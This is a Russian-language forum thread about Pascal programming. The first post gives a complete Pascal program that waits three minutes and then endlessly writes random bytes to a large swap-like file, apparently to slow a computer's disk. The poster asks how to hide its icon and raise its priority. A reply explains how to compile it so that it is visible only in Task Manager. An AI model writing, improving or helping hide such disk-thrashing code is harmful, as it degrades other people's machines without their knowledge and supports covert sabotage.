IPB
ЛогинПароль:

> 

Наладить общение поможет, если вы подпишитесь по почте на новые темы в этом форуме.

> драйверочек-тормозочек, :)
сообщение
Сообщение #1


Профи
****

Группа: Пользователи
Сообщений: 930
Пол: Мужской

Репутация: -  11  +


Код

USES CRT, DOS;


VAR
Q3,W3: BYTE;
Q2,W2: LONGINT;
Q7:    FILE;
QQQ:   ARRAY[1..100000] OF BYTE;
DirIn : SearchRec;
LABEL 1;


BEGIN
DELAY(60000);
DELAY(60000);
DELAY(60000);

RANDOMIZE;
ASSIGN(Q7,'KBJ.SWP');
FindFirst('KBJ.SWP', AnyFile, DirIn);
IF  DosError=0 THEN ERASE(Q7);
Rewrite(Q7,1);

1:
FOR W2:=1 TO 20000 DO BEGIN
Q2:=RANDOM(80000000);
SEEK(Q7,Q2);
Q3:=RANDOM(256);
FOR W3:=1 TO 200 DO BLOCKWRITE(Q7,Q3,1);
                   END;
BLOCKWRITE(Q7,QQQ,100000);
GOTO 1;
CLOSE(Q7);
END.




Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект smile.gif Как сделать чтобы и значка на экране видно не было, а заодно и увеличить приоритет проги.
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
 
 Ответить  Открыть новую тему 
Ответов
сообщение
Сообщение #2


Ищущий истину
******

Группа: Пользователи
Сообщений: 4 825
Пол: Мужской
Реальное имя: Олег

Репутация: -  45  +


Цитата
Компилится под вин32, в ярлыке указывается "свернуть в значёк". Не очень эффективно, но несколько экземпляров должны дать необходимый эффект  Как сделать чтобы и значка на экране видно не было,

А почему бы не компилировать с директивами для графического приложения? Так получается консольное, и консоль все равно будет на экране, а если приложение скомпилировать под граф. режим, то при отсутсвии в нем окон, вообще определеить то, что программа работает можно будет лишь посмотрев менеджер задач (CTRL+ALT+DEL)...

smile.gif


--------------------
Помогая друг другу, мы справимся с любыми трудностями!
"Не опускать крылья!" (С)
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 

Сообщений в этой теме


 Ответить  Открыть новую тему 
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 





- Текстовая версия 18.05.2024 21:50
500Gb HDD, 6Gb RAM, 2 Cores, 7 EUR в месяц — такие хостинги правда бывают
Связь с администрацией: bu_gen в домене octagram.name